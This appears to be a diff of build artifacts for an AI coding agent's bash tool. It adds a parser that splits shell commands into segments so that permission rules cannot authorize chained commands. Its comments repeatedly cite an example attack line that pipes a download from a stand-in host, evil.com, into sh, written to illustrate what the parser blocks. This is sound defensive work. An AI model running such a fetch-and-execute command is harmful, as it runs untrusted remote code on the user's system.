{"version":3,"file":"bash-command-segments.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,MAAM,MAAM,yBAAyB,GAClC;IAAE,IAAI,EAAE,OAAO,CAAA;CAAE,GACjB;IAAE,IAAI,EAAE,aAAa,CAAA;CAAE,GACvB;IAAE,IAAI,EAAE,UAAU,CAAC;IAAC,QAAQ,EAAE,SAAS,MAAM,EAAE,CAAA;CAAE,CAAC;AAIrD,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,MAAM,GAAG,yBAAyB,CAsH9E","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}
|
|
@@ -0,0 +1,128 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Decomposes a bash command string into the individual commands a shell would
|
|
3
|
+
* actually run, for permission matching (ADR 0004). A rule authorizes a chained
|
|
4
|
+
* command only if every resulting segment matches — so a narrow rule like
|
|
5
|
+
* `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.
|
|
6
|
+
*
|
|
7
|
+
* Classification is deliberately conservative: any construct the tokenizer does
|
|
8
|
+
* not fully model — command substitution, backticks, process substitution, an
|
|
9
|
+
* unterminated quote — returns "unparseable" rather than a partial or best-effort
|
|
10
|
+
* segment list. A caller must never treat "unparseable" as "no segments" (which
|
|
11
|
+
* would vacuously authorize the call); it must resolve to `ask`.
|
|
12
|
+
*/
|
|
13
|
+
const ESCAPABLE_IN_DOUBLE_QUOTES = new Set(["$", "`", '"', "\\", "\n"]);
|
|
14
|
+
export function classifyBashCommand(command) {
|
|
15
|
+
const segments = [];
|
|
16
|
+
let current = "";
|
|
17
|
+
let quote;
|
|
18
|
+
let i = 0;
|
|
19
|
+
const n = command.length;
|
|
20
|
+
const pushSegment = () => {
|
|
21
|
+
const trimmed = current.trim();
|
|
22
|
+
if (trimmed)
|
|
23
|
+
segments.push(trimmed);
|
|
24
|
+
current = "";
|
|
25
|
+
};
|
|
26
|
+
while (i < n) {
|
|
27
|
+
const ch = command[i];
|
|
28
|
+
const next = command[i + 1];
|
|
29
|
+
if (quote === "'") {
|
|
30
|
+
// Single quotes are fully literal in bash: no escaping, no substitution.
|
|
31
|
+
if (ch === "'") {
|
|
32
|
+
quote = undefined;
|
|
33
|
+
current += ch;
|
|
34
|
+
i++;
|
|
35
|
+
continue;
|
|
36
|
+
}
|
|
37
|
+
current += ch;
|
|
38
|
+
i++;
|
|
39
|
+
continue;
|
|
40
|
+
}
|
|
41
|
+
// Command/backtick substitution is live both unquoted and inside double
|
|
42
|
+
// quotes — only single quotes suppress it. Checked before double-quote
|
|
43
|
+
// escape handling so an unrecognized-in-bash backslash pairing can never
|
|
44
|
+
// hide a real substitution trigger from this check.
|
|
45
|
+
if (ch === "$" && next === "(")
|
|
46
|
+
return { type: "unparseable" };
|
|
47
|
+
if (ch === "`")
|
|
48
|
+
return { type: "unparseable" };
|
|
49
|
+
if (quote === undefined && ch === "<" && next === "(")
|
|
50
|
+
return { type: "unparseable" };
|
|
51
|
+
if (quote === undefined && ch === ">" && next === "(")
|
|
52
|
+
return { type: "unparseable" };
|
|
53
|
+
if (quote === '"') {
|
|
54
|
+
if (ch === '"') {
|
|
55
|
+
quote = undefined;
|
|
56
|
+
current += ch;
|
|
57
|
+
i++;
|
|
58
|
+
continue;
|
|
59
|
+
}
|
|
60
|
+
if (ch === "$")
|
|
61
|
+
return { type: "unparseable" };
|
|
62
|
+
if (ch === "\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {
|
|
63
|
+
current += ch + next;
|
|
64
|
+
i += 2;
|
|
65
|
+
continue;
|
|
66
|
+
}
|
|
67
|
+
current += ch;
|
|
68
|
+
i++;
|
|
69
|
+
continue;
|
|
70
|
+
}
|
|
71
|
+
// Unquoted.
|
|
72
|
+
if (ch === "'" || ch === '"') {
|
|
73
|
+
quote = ch;
|
|
74
|
+
current += ch;
|
|
75
|
+
i++;
|
|
76
|
+
continue;
|
|
77
|
+
}
|
|
78
|
+
if (ch === "\\" && next !== undefined) {
|
|
79
|
+
current += ch + next;
|
|
80
|
+
i += 2;
|
|
81
|
+
continue;
|
|
82
|
+
}
|
|
83
|
+
// These forms make a seemingly read-only command perform I/O, expand into
|
|
84
|
+
// different arguments, or introduce grammar this deliberately small parser
|
|
85
|
+
// cannot prove safe. A permission rule must never authorize them by prefix.
|
|
86
|
+
if (ch === "<" ||
|
|
87
|
+
ch === ">" ||
|
|
88
|
+
ch === "$" ||
|
|
89
|
+
ch === "{" ||
|
|
90
|
+
ch === "}" ||
|
|
91
|
+
ch === "(" ||
|
|
92
|
+
ch === ")" ||
|
|
93
|
+
ch === "*" ||
|
|
94
|
+
ch === "?" ||
|
|
95
|
+
ch === "[" ||
|
|
96
|
+
ch === "]" ||
|
|
97
|
+
ch === "~") {
|
|
98
|
+
return { type: "unparseable" };
|
|
99
|
+
}
|
|
100
|
+
if (ch === "\n" || ch === ";") {
|
|
101
|
+
pushSegment();
|
|
102
|
+
i++;
|
|
103
|
+
continue;
|
|
104
|
+
}
|
|
105
|
+
if (ch === "&" && next === "&") {
|
|
106
|
+
pushSegment();
|
|
107
|
+
i += 2;
|
|
108
|
+
continue;
|
|
109
|
+
}
|
|
110
|
+
if (ch === "|" && next === "|") {
|
|
111
|
+
pushSegment();
|
|
112
|
+
i += 2;
|
|
113
|
+
continue;
|
|
114
|
+
}
|
|
115
|
+
if (ch === "|" || ch === "&") {
|
|
116
|
+
pushSegment();
|
|
117
|
+
i++;
|
|
118
|
+
continue;
|
|
119
|
+
}
|
|
120
|
+
current += ch;
|
|
121
|
+
i++;
|
|
122
|
+
}
|
|
123
|
+
if (quote !== undefined)
|
|
124
|
+
return { type: "unparseable" }; // unterminated quote
|
|
125
|
+
pushSegment();
|
|
126
|
+
return segments.length === 0 ? { type: "empty" } : { type: "segments", segments };
|
|
127
|
+
}
|
|
128
|
+
//# sourceMappingURL=bash-command-segments.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"bash-command-segments.js","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}
|
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
import type
|
|
1
|
+
import { type AgentTool } from "apex-code-agent-core";
|
|
2
2
|
import { type Static, Type } from "typebox";
|
|
3
|
-
import type {
|
|
3
|
+
import type { ApexToolDefinition, PermissionSpec } from "./contract.ts";
|
|
4
4
|
import { type TruncationResult } from "./truncate.ts";
|
|
5
5
|
declare const bashSchema: Type.TObject<{
|
|
6
6
|
command: Type.TString;
|
|
@@ -11,9 +11,30 @@ export declare const bashToolSystemPromptContribution: {
|
|
|
11
11
|
readonly guidelines: readonly ["You can inspect PI_* environment variables for current model and session details."];
|
|
12
12
|
};
|
|
13
13
|
export type BashToolInput = Static<typeof bashSchema>;
|
|
14
|
+
/**
|
|
15
|
+
* bash's permission grammar (ADR 0004). A rule authorizes a call only if the
|
|
16
|
+
* command decomposes cleanly into segments (never on "unparseable") and **every**
|
|
17
|
+
* segment matches — a narrow rule like `git commit:*` can never authorize
|
|
18
|
+
* `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are
|
|
19
|
+
* separate segments that do not match it.
|
|
20
|
+
*
|
|
21
|
+
* `ruleForCall` only generalizes a single-segment command: a multi-segment chain
|
|
22
|
+
* has no single non-trivial rule that captures exactly what it did, and returning
|
|
23
|
+
* one would either over-authorize (if loose) or be indistinguishable from an exact
|
|
24
|
+
* match (if not) — `null` correctly forces `ask` for "always allow this" on a chain.
|
|
25
|
+
*/
|
|
26
|
+
export declare function createBashPermissionSpec(): PermissionSpec<typeof bashSchema>;
|
|
27
|
+
export interface BashExecutionFacts {
|
|
28
|
+
cwd: string;
|
|
29
|
+
executable?: string;
|
|
30
|
+
argv?: string[];
|
|
31
|
+
exitCode: number | null;
|
|
32
|
+
}
|
|
14
33
|
export interface BashToolDetails {
|
|
15
34
|
truncation?: TruncationResult;
|
|
16
35
|
fullOutputPath?: string;
|
|
36
|
+
/** Facts observed at the source execution boundary; never rendered as output. */
|
|
37
|
+
execution?: BashExecutionFacts;
|
|
17
38
|
}
|
|
18
39
|
/**
|
|
19
40
|
* Pluggable operations for the bash tool.
|
|
@@ -34,6 +55,8 @@ export interface BashOperations {
|
|
|
34
55
|
env?: NodeJS.ProcessEnv;
|
|
35
56
|
}) => Promise<{
|
|
36
57
|
exitCode: number | null;
|
|
58
|
+
executable?: string;
|
|
59
|
+
argv?: string[];
|
|
37
60
|
}>;
|
|
38
61
|
}
|
|
39
62
|
/**
|
|
@@ -68,7 +91,7 @@ type BashRenderState = {
|
|
|
68
91
|
endedAt: number | undefined;
|
|
69
92
|
interval: NodeJS.Timeout | undefined;
|
|
70
93
|
};
|
|
71
|
-
export declare function createBashToolDefinition(cwd: string, options?: BashToolOptions):
|
|
94
|
+
export declare function createBashToolDefinition(cwd: string, options?: BashToolOptions): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState>;
|
|
72
95
|
export declare function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema>;
|
|
73
96
|
export {};
|
|
74
97
|
//# sourceMappingURL=bash.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAY5C,OAAO,KAAK,EAAoB,cAAc,EAA2B,MAAM,wBAAwB,CAAC;AAIxG,OAAO,EAAoD,KAAK,gBAAgB,EAAE,MAAM,eAAe,CAAC;AAkBxG,QAAA,MAAM,UAAU;;;EAGd,CAAC;AAEH,eAAO,MAAM,gCAAgC;;;CAGnC,CAAC;AAEX,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,UAAU,CAAC,CAAC;AAEtD,MAAM,WAAW,eAAe;IAC/B,UAAU,CAAC,EAAE,gBAAgB,CAAC;IAC9B,cAAc,CAAC,EAAE,MAAM,CAAC;CACxB;AAED;;;GAGG;AACH,MAAM,WAAW,cAAc;IAC9B;;;;;;OAMG;IACH,IAAI,EAAE,CACL,OAAO,EAAE,MAAM,EACf,GAAG,EAAE,MAAM,EACX,OAAO,EAAE;QACR,MAAM,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;QAC/B,MAAM,CAAC,EAAE,WAAW,CAAC;QACrB,OAAO,CAAC,EAAE,MAAM,CAAC;QACjB,GAAG,CAAC,EAAE,MAAM,CAAC,UAAU,CAAC;KACxB,KACG,OAAO,CAAC;QAAE,QAAQ,EAAE,MAAM,GAAG,IAAI,CAAA;KAAE,CAAC,CAAC;CAC1C;AAED;;;;;GAKG;AACH,wBAAgB,yBAAyB,CAAC,OAAO,CAAC,EAAE;IAAE,SAAS,CAAC,EAAE,MAAM,CAAA;CAAE,GAAG,cAAc,CAkE1F;AAED,MAAM,WAAW,gBAAgB;IAChC,OAAO,EAAE,MAAM,CAAC;IAChB,GAAG,EAAE,MAAM,CAAC;IACZ,GAAG,EAAE,MAAM,CAAC,UAAU,CAAC;CACvB;AAED,MAAM,MAAM,aAAa,GAAG,CAAC,OAAO,EAAE,gBAAgB,KAAK,gBAAgB,CAAC;AA8B5E,MAAM,WAAW,eAAe;IAC/B,oEAAoE;IACpE,UAAU,CAAC,EAAE,cAAc,CAAC;IAC5B,mFAAmF;IACnF,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,iDAAiD;IACjD,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,sFAAsF;IACtF,wBAAwB,CAAC,EAAE,OAAO,CAAC;IACnC,2DAA2D;IAC3D,SAAS,CAAC,EAAE,aAAa,CAAC;CAC1B;AAKD,KAAK,eAAe,GAAG;IACtB,SAAS,EAAE,MAAM,GAAG,SAAS,CAAC;IAC9B,OAAO,EAAE,MAAM,GAAG,SAAS,CAAC;IAC5B,QAAQ,EAAE,MAAM,CAAC,OAAO,GAAG,SAAS,CAAC;CACrC,CAAC;AA8GF,wBAAgB,wBAAwB,CACvC,GAAG,EAAE,MAAM,EACX,OAAO,CAAC,EAAE,eAAe,GACvB,cAAc,CAAC,OAAO,UAAU,EAAE,eAAe,GAAG,SAAS,EAAE,eAAe,CAAC,CA8KjF;AAED,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,eAAe,GAAG,SAAS,CAAC,OAAO,UAAU,CAAC,CAQnG","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport type { AgentTool } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport type { ExtensionContext, ToolDefinition, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} 